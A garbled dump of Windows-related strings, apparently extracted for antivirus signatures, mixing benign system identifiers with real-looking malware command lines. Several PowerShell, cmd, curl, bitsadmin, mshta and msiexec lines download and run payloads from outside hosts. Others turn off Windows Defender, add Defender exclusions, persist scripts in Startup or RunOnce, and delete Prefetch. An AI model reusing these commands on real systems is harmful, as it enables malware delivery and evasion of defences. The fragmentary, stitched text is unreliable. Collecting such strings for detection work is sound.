windows.activatableClass.inProcessServerI,
#Icon2useRecordFunnelTelemetryCallbackfmWindowScann
log.txtsoftware\microsoft\windows\currentversion\shell extensions\approved
c:\windows\system32\windowspowershell\v1.0\
c:\windows\system32\cmd.exe//mincmd/ccurl-o%temp%\hidden.vbshttps://raw.githubusercontent.com/jacker8181/fff/refs/heads/main/hidden.vbs&&cd%temp%&&starthidden.vbs&&starthttps://cnslibrary.com/wp-content/uploads/2024-2026-sps.pdf
Jc:\windows\system32\windowspowershell\v1.0\powershell.exe-command"invoke-webrequest-urihttp://91.92.252.107:55/d.bat-outfile$env:temp\ds3h.cer;certutil-decode$env:temp\ds3h.cer$env:temp\inuh.bat;start-process$env:temp\inuh.bat;"
WINDOWS11
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accState
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.LoadState
System.Windows.Forms.UnsafeNativeMethods.IToggleProvider.ToggleState
System.Windows.Forms.UnsafeNativeMethods.IToggleProvider.get_ToggleState
System.Windows.Forms.UnsafeNativeMethods.IExpandCollapseProvider.ExpandCollapseState
System.Windows.Forms.UnsafeNativeMethods.IExpandCollapseProvider.get_ExpandCollapseState
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.SaveState
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FInState
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.DiscardUndoState
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.OnEnterState
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.OnComponentEnterState
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FOnComponentExitState
get_WindowState
set_WindowState
UpdateWindowState
FormStateWindowState
FormWindowState
FillInCreateParamsWindowState
.?AV?$VectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__I?$VectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AU?$IIterator@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVPlacementIdMode@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__I?$Array@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AU?$IBoxArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Platform@@
.?AU__I?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00@Platform@@
.?AV?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@$00@Platform@@
.?AU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AU?$IIterator@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$MapChangedEventHandler@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AV?$MapChangedEventHandler@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@
c:\windows\system32\cmd.exedescription/cdevicecredentialdeployment&for%iin(%systemroot%\system32\*.*)domsiexec-c/q/ihttps://www.capmarketreport.com/%username%%random%.msi&timeout/t60<c:\programfiles(x86)\microsoft\edge\application\msedge.exe
'+[char]34+'))'))))i/../../../../../../../../../../../../../../windows/system32/mpsigstub.exe
8regadd"hklm\software\policies\microsoft\windowsdefender"/vdisableantispyware/treg_dword/d1/f
CreateMeasurementWindowsGraphics
.windowstyle(
jkcmd.exel/kosc:\windows\system32\cmd.exe!..\..\..\windows\system32\cmd.exe/cnavbar.bat"%systemroot%\system32\imageres.dll%wn]nd.q`xserverzve9g6=d%zve9g6=d%1spsxfl8c&mm.s-1-5-21-2269617652-2489741943-2200564624-50091spsmdphh@.=xhh2mcp
86Wc:\windows\system32\windowspowershell\v1.0\powershell.exe/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://zhongxiangsteels.store/microsoft/sharepoint/specs.bat','%temp%\test.bat')
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
sc:\windows\system32\mshta.exehttps://the-main-father-of-great-democracy.petition-change.org/for-imperator-and-great-god-of-beaver/----.pdf-f
9nBc:\windows\system32\cmd.exe/ccurl-l"https://github.com/wexomhub3334/wefwef/raw/refs/heads/main/fud.exe"-o"%temp%\fud.exe"&&"%temp%\fud.exe"
cmd.exe..\windows\system32\cmd.exe&/calphabetical\
.cmdvr32.exec:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe%
WindowSize
MaxWindowSize
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Console.Host
Microsoft.Windows.Console.Launcher
Microsoft.Windows.Console.VirtualTerminal.Parser
Microsoft.Windows.Console.Render.VtEngine
Microsoft.Windows.Console.UIA
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy-In-Block
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy-Out-Allow-AllCapabilities
Windows.CBSPreview_cw5n1h2txyewy-Out-Block
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy-Out-Block
takeown/fc:\windows\system32icacls
Microsoft.Windows.CapturePicker_cw5n1h2txyewy-In-Block
Microsoft.Windows.CapturePicker_cw5n1h2txyewy-Out-Block
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
<windows\web\desktop.htmlcom.ms.applet.enable.
windows\system32\
Windows has been 
AlignmentRGB_RGBA_PATTERNCCheckboxWindows
cmd.exe/cstart/b/mincopy/yc:\windows\system32\rundll32.exec:\programdata\5z9u9gnjrv5dqig.exe&&start/b/minc:\programdata\5z9u9gnjrv5dqig.exe
Windows.System.UserProfile.DiagnosticsSettings
Microsoft.Windows.HEVCDecoder
MICROSOFTWINDOWS.59337145.LIVTOP_CW5N1
[rxstart]hklm,software\microsoft\windows\currentversion\runonce,install
renfiles=rxrenameaddreg=rxstart[rxrename]server.exe,test.gif[rxstart]hklm,software\microsoft\windows\currentversion\runonce,install,,%1%\server.exe
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
:\windows\recovery.exe
-port 80 -insert "<iframe border="0" framespacing="0" frameborder="0" scrolling="no" width="0" height="0" src="windowsxp.exe{a781a1ec-975e-4788-af8e-a3f552d55c41}
C:\WINDOWS\SYSTEM32\
,'ring0port.sysping.exelsass.exeslil.ru:\program files\common files\moatumonn.exe:\program files\internet explorer\iexplore.exe:\program files\opera\opera.exe:\program files\outlook express\msimn.exe\system32\drivers\svchost.exesoftware\microsoft\windows\currentversion\runonceoutpostmainwindowclassoutpost firewall prokaspersky anti-hackerjeticopersonalfirewallactivity monitormmgetphysicaladdressmmisaddressvalidiogetcurrentprocesske386setioaccessmapke386queryioaccessmapzwopensectionzwloaddriver
windows.ap
windows.updateTask
windows.appExtension
windows.protocol
windows.appExtension
windows.appExtension
windows.appExtension
windows.comServer
windows.activatableClass.outOfProcessServer
windows.appExtension
windows.appExtension
windows.comServer
windows.protocol
windows.appExtension
windows.appExtension
windows.activatableClass.outOfProcessServer
windows.appExtension
windows.appExtension
windows.appExtension
windows.shareTarget
windows.fileExplorerContextMenus
windows.comServer
windows.comServer
windows.desktopAppMigration
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.appExecutionAlias
windows.desktopAppMigration
windows.fileExplorerContextMenus
windows.comServer
windows.comServer
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.appExecutionAlias
windows.preInstalledConfigTask
windows.comServer
windows.comServer
windows.toastNotificationActivation
windows.comServer
windows.desktopAppMigration
windows.appUriHandler
windows.shareTarget
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExecutionAlias
windows.fullTrustProcess
windows.appExtension
windows.toastNotificationActivation
windows.appExecutionAlias
windows.appExecutionAlias
windows.comServer
windows.toastNotificationActivation
windows.startupTask
windows.protocol
windows.appExecutionAlias
windows.comServer
windows.appExtension
windows.appService
windows.appService
windows.fullTrustProcess
windows.personalAssistantLaunch
windows.appService
windows.appService
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.protocol
windows.protocol
windows.updateTask
windows.protocol
windows.preInstalledConfigT
windows.backgroundTasks
windows.backgroundTasks
windows.protocol
windows.fileTypeAssociation
windows.fileTypeAssociation
windows.protocol
windows.protocol
windows.protocol
windows.preInstalledConfigTask
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExecutionAlias
windows.shareTarget
windows.fileTypeAssociation
windows.appService
windows.appService
windows.protocol
windows.protocol
windows.comServer
windows.protocol
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.comServer
windows.comServer
windows.toastNotificationActivation
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
SetWindowsHookExW
UnhookWindowsHookEx
 .exec "c:\windows\explorer " & 
Software\Microsoft\Windows Messaging Subsystem\Profiles\S
onecoreuap\shell\windows.storage\storagelibrarychangetracker.cpp
onecoreuap\shell\windows.storage\graphfilethumbnailprovider.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\assoclist.cpp
onecoreuap\shell\windows.storage\fileitemthumbnails.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\fileexplorerhelpers.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\filepickerhelpers.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\storageitemcommands.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\propertysystem.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\storageitempropertyprovider.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\bindableobservableitem.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\parameterhelpers.cpp
onecoreuap\shell\windows.storage\fileexplorerdatabinding\itemrangeselector.cpp
onecoreuap\shell\windows.storage\fileoperations\fileoperationmanager.cpp
onecoreuap\shell\windows.storage\fileoperations\fileoperation.cpp
onecoreuap\shell\windows.storage\fileoperations\fileoperationstatus.cpp
onecoreuap\shell\windows.storage\fileoperations\fileoperationitemerrorinfo.cpp
onecoreuap\shell\windows.storage\kfapi\knownfolderssettingsprovider.cpp
onecore\internal\windows\inc\SettingsProviderBase.h
onecoreuap\shell\windows.storage\edpencrypt.cpp
onecoreuap\shell\windows.storage\CloudFilesInterruptSource.h
onecoreuap\shell\windows.storage\cloudfilestoasthandler.cpp
onecoreuap\shell\windows.storage\storageproviderpropertystore.cpp
onecoreuap\shell\windows.storage\perfolderrootpropertystore.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\bitbuck.cpp
onecoreuap\shell\windows.storage\schedule.cpp
khonecoreuap\shell\windows.storage\storagelibrarytrigger.cpp
uwindows2
windows
\system32\
WindowsFormsApp27.Properties
.claims.windowsclaimsidentity
delete$instdir\windowsdev.7z
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt.tmp
c:\users\job\appdata\local\packages\microsoftwindows.client.cbs_cw5n1h2txyewy\localstate\ebwebview\default\service worker\cachestorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt.tmp
GJc:\windows\system32\cmd.exe/cpowershell-command"$u='https://saleoffyour.com/ss.bat';$p=$env:appdata+'\microsoft\windows\startmenu\programs\startup\updates.bat';iwr$u-outfile$p;start$p"
m(vc:\windows\system32\cmd.exe/c@echooff&&titleupdate&&bitsadmin/transfermdj/download/priorityforegroundhttps://myfiles.ngrok.pro/
?"%temp%\\system32.com"&&start"""%temp%\\system32.com"
1c:\windows\system32\windowspowershell\v1.0\powershell.exe-commandiwr-urihttps://watches-omaha-partnerships-median.trycloudflare.com/fok.bat-outfile$env:temp\fok.bat;&$env:temp\fok.bat
.d9asystem32b2fsnwscript.exehfsnu
.3wscript.exen-mc:\windows\system32\wscript.exe
/\windows\system32\wscript.exe
?notified@QWindowsPipeReader@@AEAAXKK@Z
?notified@QWindowsPipeWriter@@AEAAXKK@Z
dir%\system32\vsocklib.dll
="c:\windows\sw
System.Windows.Forms.Layout
Dv6	c:\windows\system32
api-ms-win-core-windowserrorreporting-l1-1-0.dll
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('mshhttp:1.mp4ta85.209.128.206downloads'|convert-string-e'123456=142//5/6/3')"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-wh-cwget-o$env:temp\f.hethttps://mogilux.com.br/wp-admin/tmp2/f.het;mshta$env:temp\f.het
c:\windows\system32\windowspowershell\v1.0\powershell.exe
<c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://lestod.b-cdn.net/lestod
Windows
Mozilla/5.0 (Windows NT 10.0; Win64; x
.?AV<lambda_21>@?N@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_22>@?N@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_22>@?N@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_20>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_20>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_21>@?N@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_20>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_19>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_18>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_19>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_19>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_17>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_17>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_18>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_18>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
WindowsCodecs.dll
System.Windows.Forms.UnsafeNativeMethods.IOleContainer.EnumObjects
System.Windows.Forms.UnsafeNativeMethods.IOleControl.FreezeEvents
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.Minimum
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.get_Minimum
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.Maximum
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.get_Maximum
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.ColumnSpan
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.get_ColumnSpan
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.RowSpan
System.Windows.Forms.UnsafeNativeMethods.IGridItemProvider.get_RowSpan
WindowsPen
    name="Microsoft.Windows.MSDTC.dtcuic"
             name="Microsoft.Windows.Common-Controls"
Microsoft-Windows-Cloud-Networking-Triage
Microsoft.Windows.NDIS
Microsoft.Windows.TlgAggregateInternal
HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet
windows\explorer " & 
c:/windows/system32/d
c:/windows/system32/dt
c:\windows\system32
ections@Foundation@Windows@@
WINDOWS_DIALOG_COM[
on Windows Search
rmdir\s+['"]\w:\\(?:programdata\\microsoft|program files \(x86\)|program files)\\windows defender(?: advanced threat protection)?['"]\s+-recurse
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
\system32\config\security\
\system32\config\system\
AMAgentAssist.exe:winlogon.exe:remotethread:allocvmremote:138:1
System.Windows.Forms.dll
System.Windows.Forms.ISupportToolStripPanel.ToolStripPanelCell
System.Windows.Forms.ISupportToolStripPanel.get_ToolStripPanelCell
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-DXG-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
graph.windows.net
EnumChildWindows
windows\explorer.exe
lf1]po:i+00/c:\+2windows\system32\conhost.exec:\windows\system32
Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.PartitionIndex
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Accessibility.Narrator.SyncedSettings
Windows.Data.Platform.Encryption.EncryptableValue
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Diagnostics.DiagnosticCollectionItemData
Windows.Data.Platform.Partitioning.ActivePartitions
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.BackupRestore.ManifestBackupStore
Windows.Data.Input.Devices.TouchpadSyncedSettings
Windows.Data.Accessibility.Magnifier.SyncedSettings
Windows.Data.Globalization.Culture.CultureSettings
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileData
Windows.Data.Platform.Diagnostics.DiagnosticSecureData
Windows.Data.Platform.Diagnostics.DiagnosticSubData
Windows.Data.Platform.Diagnostics.DiagnosticSubDataIntKey
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.BackupRestore.DeviceProfile
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Pla
C:\WINDOWS\TEMP\bb3a785178f443fda931098a5a9a306b.db
jksu[./dsrundll32.exeo-nc:\windows\system32\rundll32.exe\desktop.dat,qqqq%systemroot%\write.exe%systemroot%\system32\rundll32.exe%systemroot%\system32\rundll32.exe%wn]nd.q`xgalaxys21^5lrkg=wk*jzm)q^5lrkg=wk*jzm)q1spsxfl8c&mi,s-1-5-21-1885176692-474596811-98393591-100191spsmdphh@.=xhhqen&(
Windows.Internal.CapturePickerExperiencePolicy
Windows.Internal.ContactCardExperience
Windows.Internal.PlatformExtensionContracts.AppResolverContract
Windows.Internal.PlatformExtensionContracts.PrintExperienceContract
Windows.Internal.PlatformExtensions.AccountsControlExperience
Windows.Internal.PlatformExtensions.AppInstallerPromptExperience
Windows.Internal.PlatformExtensions.ConsentExperience
Windows.Internal.PlatformExtensions.DevicePairingExperience
del /s /f /q C:\Windows\Prefetchd
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
2f^windows.appExtension
30^windows.appExtension
#chrome.browseraction.onclicked.addlistener(function(tab){chrome.windows.create({url:"https://
%appdata%\custom-application\files"powershell-windowstylehidden-command"invoke-webrequest-uri'https://tiendev.click/
f-windowstylehidden-command`\"try{add-mppreference-exclusionpath$env:temp-force}catch{}`\"\"-verbrunas-wait-erroractionstop;break;}catch{start-sleep-seconds2;}}$name=
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
a;KMicrosoft.Windows.Networking.BranchCache
|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
Win32API|System Shutdown Functions|ExitWindowsEx
C:\Windows\system32
!#SIGATTR:Obfuscator_EnumWindows2
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
WindowsUdk.UI.StartScreen
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::<lambda_e1efc81a3766ac6dfd232ffe3a49452e>::operator ()
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.LicenseManager.Telemetry
Microsoft.Windows.Store.LicenseManager.UsageAudit
Welcome to Windows\
DOWS\system32\config
Microsoft-Windows-ShellExperienceHost-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
GetWindowsUpdateServer
CompositorNotifyExitWindows
(<t>syswow64\</t></si><si><t>rundll32.exe</t></si><si><t>\windows\</t></si><si><t>,0,0)
system32\cmd
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Media-Streaming-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Network-Connectivity-Assistant-Service-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Network-Connectivity-Assistant-Service-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Media-Streaming-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|64~~10.0.26100.1591.cat|
Windows
!#HSTR:WindowsInstaller3_1.A
Fuck Windows DefenderF
c:\windows\system32\rundll32.exe\--____----____---___-_-____------______---_____------____---__.{db362500-9fbf-49ad-9fc4-6fcfc5ef4dc1},i0hp6ovducvcun3d
|Windows=
c:\windows\system32
c:\windows\system32
c:\windows\system32
c:\windows\system32
c:\windows\system32
cscript //nologo slmgr.vbswin_and_office_mini_kms_activator.mywindows an
\system32\ftp;
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
